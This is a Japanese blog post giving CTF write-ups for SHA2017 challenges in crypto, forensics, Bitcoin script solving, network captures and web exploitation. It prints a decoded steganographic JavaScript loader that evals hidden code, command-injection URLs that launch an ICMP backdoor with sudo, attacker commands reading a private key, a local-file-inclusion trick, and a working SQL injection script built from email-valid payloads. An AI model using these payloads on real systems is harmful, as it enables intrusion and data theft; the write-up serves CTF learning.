st98 の日記帳


[ctf] SHA2017 CTF の write-up

チーム Harekaze で SHA2017 CTF に参加しました。最終的にチームで 2300 点を獲得し、順位は得点 462 チーム中 18 位でした。(うち、私は 10 問を解いて 1700 点を入れました。)

以下、解いた問題の write-up です。

[Crypto 100] Stack Overflow

flag.pdf.enc という暗号化された PDF と encrypt.py という以下のような内容のスクリプトが与えられました。

import os, sys
from Crypto.Cipher import AES

fn = sys.argv[1]
data = open(fn,'rb').read()

# Secure CTR mode encryption using random key and random IV, taken from
# http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr
secret = os.urandom(16)
crypto = AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret) 

encrypted = crypto.encrypt(data)
open(fn+'.enc','wb').write(encrypted)

AES-CTR でファイルを暗号化しているようですが、AES.new(os.urandom(32), AES.MODE_CTR, counter=lambda: secret) とカウンターが固定されてしまっています。

まず %PDF-1flag.pdf.enc の先頭 6 バイトを xor、これに 10 バイト \x00 を加えて flag.pdf.enc の全体を xor すると、0x19760 辺りに 10 10 10 10 10 10 … というバイト列がありました。

flag.pdf.enc の 0x19760 ~ 0x19770 と \x10 を xor して、さらにこれと flag.pdf.enc の全体を xor すると flag.pdf が復号できました。

FLAG{15AD69452103C5DF1CF61E9D98893492}

[Forensics 100] WannaFly

kimberly.img というイメージファイルが与えられました。FTK Imager で開くと、.bash_history... (暗号化用の Python スクリプト)、... によって暗号化された画像 17 枚が得られました。

..../... (16 文字のパスワード) のようにして実行すると、カレントディレクトリ下にある画像ファイルにブラーをかけて保存し、元画像を暗号化して Base64 エンコードした文字列を加工後の画像ファイルに付け加えるというスクリプトでした。

暗号化方式には AES-CFB、実行時のパスワードをそのまま鍵として、実行時のタイムスタンプを乱数のシードに使って英数字から 16 文字を選んだ文字列を IV として暗号化が行われていました。

.bash_history は以下のような内容でした。

unset HISTFIL
ls -la
pwd
chmod +x ...
./... Hb8jnSKzaNQr5f7p
ls -Rla

これで暗号化に使われたパスワードが分かりました。IV についても暗号化された画像ファイルの更新日時を見ればよさそうです。以下のスクリプトを実行すると画像ファイルが復号できました。

import base64
import glob
import random
import string
import os.path
from Crypto.Cipher import AES

def get_iv(t):
  iv = ''
  random.seed(t)
  for i in range(0, 16):
    iv += random.choice(string.letters + string.digits)
  return iv

def decrypt(m, p, i):
  aes = AES.new(p, AES.MODE_CFB, i)
  return aes.decrypt(base64.b64decode(m))

for im in glob.glob('Pictures/*.png'):
  for x in range(5):
    with open(im, 'rb') as f:
      s = f.read()
    s = s[s.rindex('\n') + 1:]
    t = decrypt(s, 'Hb8jnSKzaNQr5f7p', get_iv(1497975278 + x))
    with open(os.path.join('%d' % (1497975278 + x), os.path.basename(im)), 'wb') as f:
      f.write(t)
flag{ed70550afe72e2a8fed444c5850d6f9b}

[Forensics 100] Compromised?

FOR100.scap というファイルが与えられました。gzip として展開し、file で確認すると pcap-ng capture file - version 1.0 というファイル形式であることが分かりました。

Wireshark で開いてみるとプロトコルはどれも System Call で、open write read などのシステムコールが記録されていました。

open を眺めていると、/tmp/challenge.py というファイルが開かれている箇所がありました。その直後にある read を見てみると、ファイルの内容を得ることができました。

import base64
import sys
obj = AES.new('n0t_just_t00ling', AES.MODE_CBC, '7215f7c61c2edd24')
ciphertext = sys.argv[1]
message = obj.decrypt(base64.b64decode(ciphertext))

sysdig contains "challenge.py" でフィルターしてみると python /tmp/challenge.py cnKlXI1pPEbuc1Av3eh9vxEpIzUCvQsQLKxKGrlpa8PvdkhfU5yyt9pJw43X9Mqewrite されている箇所が見つかりました。実行してみましょう。

$ python challenge.py cnKlXI1pPEbuc1Av3eh9vxEpIzUCvQsQLKxKGrlpa8PvdkhfU5yyt9pJw43X9Mqe
Congrats! flag{1da3207f50d82e95c6c0eb803cdc5daf}
flag{1da3207f50d82e95c6c0eb803cdc5daf}

[Misc 200] Growing Up

別の記事で公開しています。

flag{7c3a6348e53d249ebeda98e253404375}

[Misc 300] Stolen Bitcoins

Bitcoin のトランザクションが与えられました。デコードしてみると scriptPubKey が以下のような内容になっていました。

0
10
OP_PICK
23
OP_PICK
OP_ADD
99
OP_EQUAL
OP_ADD
...
30
OP_PICK
OP_RIPEMD160
412fc6097e62d5c494b8df37e3805805467d1a2c
OP_EQUAL
OP_ADD
...
OP_NIP
OP_NIP
OP_NIP
OP_NIP
OP_NIP
38
OP_EQUAL

flag[10] + flag[23] == 99RIPEMD160(flag[30]) == '412fc6097e62d5c494b8df37e3805805467d1a2c' のような比較が 38 回繰り返されたあと、等しかった回数と 38 を比較しています。

フラグの形式は flag{[0-9a-f]{32}} であるということが分かっています。適当に Z3 で解いてみましょう。

OP_RIPEMD160
412fc6097e62d5c494b8df37e3805805467d1a2c

のような命令列を 50 ('2') のように比較されているハッシュの元の値に変えて、以下のスクリプトを走らせるとフラグが得られました。

from z3 import *

with open('dump.txt', 'r') as f:
  s = f.read()

solver = Solver()
flag = [BitVec('flag_%d' % x, 8) for x in range(38)]

for c in flag[5:-1]:
  solver.add(Or(And(ord('0') <= c, c <= ord('9')), And(ord('a') <= c, c <= ord('f'))))

stack = []

for c in flag:
  stack.append(c)

for line in s.splitlines():
  if line == 'OP_PICK':
    stack.append(stack[-(stack.pop()+1)])
  elif line == 'OP_ADD':
    stack.append(stack.pop() + stack.pop())
  elif line == 'OP_EQUAL':
    a, b = stack.pop(), stack.pop()
    solver.add(a == b)
    stack.append(1)
  elif line.isdigit():
    stack.append(int(line))
  elif 'OP_NIP':
    pass
  else:
    print line

r = solver.check()
print r
if r == sat:
  m = solver.model()
  res = ''
  for c in flag:
    res += chr(m[c].as_long())
  print res
$ python2 solve.py
sat
flag{e632323bb5128a5bd7798a6198fddc79}
flag{e632323bb5128a5bd7798a6198fddc79}

[Network 200] Malware Testrun

malware-testrun.pcap という pcap ファイルが与えられました。

NetworkMiner に投げてみると、ads.htmlad001.png ~ ad006.png という 6 枚の画像ファイルが得られました。

ads.html は以下のような内容でした。

<html>
<head><title>Advertisement</title></head>

<body>
<img id="img" src="data:image/png;base64,ej0iIjtmdW5jdGlvbiB2KGIpe3M9Jyc7Zm9yKGk9MCxsPWIubGVuZ3RoO2k8bDtpKz04KXtjPTA7Zm9yKGo9NztqPj0wO2otPTEpe2MrPWJbaSs3LWpdPDxqO31zKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGMpO31yZXR1cm4gczt9ZnVuY3Rpb24gZChpbWcpe2k9MDtsPWltZy5sZW5ndGg7c3Q9W107d2hpbGUoaTxsKXtzdFtpXT0gaW1nW2kqNF0mMTtpKz0xO31yZXR1cm4gdihzdCk7fWZ1bmN0aW9uIGYoKXt3PWkubmF0dXJhbFdpZHRoO2g9aS5uYXR1cmFsSGVpZ2h0O2M9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7eD1jLmdldENvbnRleHQoIjJkIik7Yy53aWR0aD13O2MuaGVpZ2h0PWg7eC5kcmF3SW1hZ2UoaSwwLDAsdyxoKTt0PWQoeC5nZXRJbWFnZURhdGEoMCwwLHcsaCkuZGF0YSk7aWYodD10Lm1hdGNoKC9TSEEuKlNIQS8pKXt6Kz10WzBdLnJlcGxhY2UoL1NIQS9nLCcnKTt9fTtmdW5jdGlvbiBxKCl7aT1uZXcgSW1hZ2UoKTtpLmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGYsZmFsc2UpO2kuc3JjPSJub3RpdC5wbmcifXNldFRpbWVvdXQocSwxMDAwKTtmdW5jdGlvbiBhKCl7ZXZhbCh6KX1zZXRUaW1lb3V0KGEsMjAwMDAwKQo=">

<script type="text/javascript"> 
eval(atob(document.images[0].src.replace(/.*,/, "")));

// Show ads
function showImage(i){
    document.images[0].src="images/ad00" + i + ".png";
}

for (i=0;i<7;i++){
    setTimeout(showImage,2000*i,i);
}

</script> 
</body> 
</html>

#img の内容を Base64 デコードすると以下のスクリプトが取り出せました。

z = "";

function v(b) {
    s = '';
    for (i = 0, l = b.length; i < l; i += 8) {
        c = 0;
        for (j = 7; j >= 0; j -= 1) {
            c += b[i + 7 - j] << j;
        }
        s += String.fromCharCode(c);
    }
    return s;
}

function d(img) {
    i = 0;
    l = img.length;
    st = [];
    while (i < l) {
        st[i] = img[i * 4] & 1;
        i += 1;
    }
    return v(st);
}

function f() {
    w = i.naturalWidth;
    h = i.naturalHeight;
    c = document.createElement("canvas");
    x = c.getContext("2d");
    c.width = w;
    c.height = h;
    x.drawImage(i, 0, 0, w, h);
    t = d(x.getImageData(0, 0, w, h).data);
    if (t = t.match(/SHA.*SHA/)) {
        z += t[0].replace(/SHA/g, '');
    }
};

function q() {
    i = new Image();
    i.addEventListener('load', f, false);
    i.src = "notit.png"
}
setTimeout(q, 1000);

function a() {
    eval(z)
}
setTimeout(a, 200000)

画像の赤の LSB にスクリプトを仕込んでいるようです。ad001.png ~ ad006.png の赤の LSB を結合すると JSF**k のスクリプトが得られました。実行すると 'x=new Date();if(x.getDate()=="23"&&x.getHours()=="12"){alert("flag{02aa1488771e325eef9b0e5f0d2db626}")}' という文字列が得られました。

flag{02aa1488771e325eef9b0e5f0d2db626}

[Network 300] Abuse Mail

abuse01.pcapabuse02.pcapabuse03.pcap の 3 つの pcap ファイルが与えられました。

abuse01.pcap を Wireshark で開いてみると、TELNET や IPsec などの通信が記録されていました。TELNET の通信は以下のような内容でした。

root@vpn1:~# ip xfrm state
src 10.11.0.1 dst 10.11.0.83
	proto esp spi 0xce9b2ab8 reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0x17f298179ebf35a4fa12d5d2c3f3b0466f435282 96
	enc cbc(aes) 0xfb59dc471ca7f58beb30cd0d1bcbb83d6bc0fe76bca7e92bf5c0e455b23e4fe4
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
	anti-replay context: seq 0x0, oseq 0xd, bitmap 0x00000000
src 10.11.0.83 dst 10.11.0.1
	proto esp spi 0xcaa4cf43 reqid 1 mode tunnel
	replay-window 32 flag af-unspec
	auth-trunc hmac(sha1) 0xab7271cc8e3d0c403ed75323f8f8f582c784e821 96
	enc cbc(aes) 0x28fcaa9d777f940fac57e1be15477f5f074547b6a723df9243b0eb06bdd74619
	encap type espinudp sport 4500 dport 4500 addr 0.0.0.0
	anti-replay context: seq 0xd, oseq 0x0, bitmap 0x00001fff

これで IPsec の通信は復号できそうです。IPsec(ISAKMP、ESP)の復号化手順 - sai’s diary を見ながら復号すると、/?ip=%3Bcat%20/tmp/backdoor.py/?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& などにアクセスしている HTTP の通信が見られるようになりました。

backdoor.py は ICMP を利用するバックドアで、ファイルの送信やコマンドなどの通信を AES-CBC で暗号化や復号を行っているようです。

以下のスクリプトを実行すると abuse02.pcapabuse03.pcap を復号できました。

import base64
import sys
import time

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

  def __init__( self, key ):
    self.key = key

  def encrypt( self, raw ):
    raw = pad(raw)
    iv = Random.new().read( AES.block_size )
    cipher = AES.new( self.key, AES.MODE_CBC, iv )
    return base64.b64encode( iv + cipher.encrypt( raw ) )

  def decrypt( self, enc ):
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(self.key, AES.MODE_CBC, iv )
    return unpad(cipher.decrypt( enc[16:] ))

def chunks(L, n):
  for i in xrange(0, len(L), n):
    yield L[i:i+n]

if __name__ == '__main__':
  import sys
  if len(sys.argv) < 3:
    sys.exit(1)
  pkts = rdpcap(sys.argv[1])
  cipher = AESCipher(sys.argv[2])
  for packet in pkts:
    if str(packet.getlayer(ICMP).type) == "8":
      inp = packet[IP].load
      if inp[0:len(magic)] == magic:
        inp = inp.split(":")
        data = cipher.decrypt(inp[1]).split(":")
        print data

abuse02.pcap を復号すると ls -laidcat /root/certs/intranet.key などのコマンドを実行している記録が得られました。

abuse03.pcap を復号すると /tmp/intranet.pcap/tmp/usb.pcap の送信を行っている記録が得られました。以下のスクリプトを実行すると 2 つの pcap ファイルを復元することができました。

import base64
import re

def decode(i, o):
  with open(i, 'r') as f:
    s = f.read()
  res = []
  m = re.compile(r"\['getfile', '(\d+)', '([0-9A-Za-z_=-]+)'\]")
  for line in s.splitlines()[1:]:
    a, b = m.findall(line)[0]
    res.append((int(a), b))
  res.sort(key=lambda x: x[0])
  with open(o, 'wb') as f:
    f.write(base64.urlsafe_b64decode(''.join(x[1] for x in res)))

decode('a.txt', 'intranet.pcap')
decode('b.txt', 'usb.pcap')

intranet.pcap は TLS の通信を記録した pcap のようです。abuse02.pcap を復号して得られた intranet.key を使って復号すると、secret.zip というパスワード付きの zip ファイルを得られました。

usb.pcap は USB キーボードの通信を記録した pcap のようです。HID Usage Tables を参考に 1 文字ずつ打っていた文字を調べると、以下のように入力していることが分かりました。

root
Welcome123
ls -la
curl -ks https://root:Welcome123@intranet/secret.zip
unzip secret.zip
Pyj4m4P4rtY@2017
cat secret.txt
display hamburg(Tab)
logoout

Pyj4m4P4rtY@2017 をパスワードとして secret.zip を展開するとフラグが得られました。

flag{bf107b7f64f320034df7e48669439f69}

[Web 100] Bon Appétit

与えられた URL にアクセスしてソースを確認すると、以下のようなコメントがありました。

<!-- TODO: Check apache access and error log for errors -->

また、他のページのリンクは以下のように ?page=... という形になっていました。

<a href="?page=home">Home</a>
<a href="?page=about">About</a>
<a href="?page=what">What We Do</a>
<a href="?page=menu">Menu</a>
<a href="?page=contact">Contacts</a>

/home にアクセスすると /?page=home と同じ結果が表示されました。また、/?page=css/style.css にアクセスすると css/style.css と同じ結果が表示されました。includefile_get_contents などに $_GET['page'] をそのまま渡していそうです。

何かログに関する情報が得られないか、/?page=.htaccess にアクセスして .htaccess の内容を見てみます。

<FilesMatch "\.(htaccess|htpasswd|sqlite|db)$">
 Order Allow,Deny
 Deny from all
</FilesMatch>

<FilesMatch "\.phps$">
 Order Allow,Deny
 Allow from all
</FilesMatch>

<FilesMatch "suP3r_S3kr1t_Fl4G">
  Order Allow,Deny
  Deny from all
</FilesMatch>


# disable directory browsing
Options -Indexes

suP3r_S3kr1t_Fl4G というファイルがあるようです。/?page=suP3r_S3kr1t_Fl4G にアクセスするとフラグが得られました。

flag{82d8173445ea865974fc0569c5c7cf7f}

[Web 200] Ethical Hacker

与えられた URL にアクセスすると、メールアドレスとパスワード、CAPTCHA を入力できるログインフォームが表示されました。

メールアドレスに hoge'@example.com と入力してみると Database error と表示されました。また、' or 1;--@example.com と入力してみると ' or 1;--@example.com is not a valid email address according FILTER_VALIDATE_EMAIL と表示されました。SQLi ができそうですが、メールアドレスとして妥当でなければならないようです。

メールアドレスで SQLi、と聞いて思い出されるのが XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス | 徳丸浩の日記という記事です。

;() のような文字はそのままでは使えませんが、" で囲めば使えるということなので "'/**/union/**/select/**/sqlite_version();--"@a.a を入力してみると、Couldn't login with password: 3.11.0 と表示されました。

sqlite_version() でエラーが出ないことから SQLite が使われていることが分かりました。"'union/**/select/**/group_concat(sql)from/**/sqlite_master--"@a.a を入力してみると、以下のように出力されていました。

array(2) {
  [0]=>
  string(224) "CREATE TABLE users (
  id INTEGER PRIMARY KEY ASC,
  mail varchar(32) NOT NULL,
  password varchar(6) DEFAULT NULL
),CREATE TABLE image (
  id INTEGER PRIMARY KEY ASC,
  line int(11) NOT NULL,
  base64 varchar(16) NOT NULL
)"
  ["password"]=>
  string(224) "CREATE TABLE users (
  id INTEGER PRIMARY KEY ASC,
  mail varchar(32) NOT NULL,
  password varchar(6) DEFAULT NULL
),CREATE TABLE image (
  id INTEGER PRIMARY KEY ASC,
  line int(11) NOT NULL,
  base64 varchar(16) NOT NULL
)"
}

image というテーブルが怪しそうです。以下のスクリプトを実行するとフラグが得られました。

import re
import requests

url = 'http://ethicalhacker.stillhackinganyway.nl/'
cookies = {
  'PHPSESSID': 'ql4ss5be59uu46tg7iu48e2ue1'
}

lines = requests.post(url, data={
  'mail': '''"'union/**/select/**/group_concat(line)from/**/image--"@a.a''',
  'pw': 'a',
  'security': raw_input('> ')
  
}, cookies=cookies).content

with open('captcha.jpg', 'wb') as f:
  im = re.findall(r'base64,([0-9A-Za-z/+=]+)', lines)[0]
  f.write(im.decode('base64'))

i = lines.index('"') + 1
lines = [int(x) for x in lines[i:lines.index('"', i)].split(',')]

images = requests.post(url, data={
  'mail': '''"'union/**/select/**/group_concat(base64)from/**/image--"@a.a''',
  'pw': 'a',
  'security': raw_input('> ')
  
}, cookies=cookies).content

i = images.index('"') + 1
images = images[i:images.index('"', i)].split(',')

images = sorted(zip(lines, images), key=lambda x: x[0])
res = ''
for x in images:
  res += x[1]

with open('result.jpg', 'wb') as f:
  f.write(res.decode('base64'))
FLAG{3062137387F1789D8DA3FF7AAFE3DB7A}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳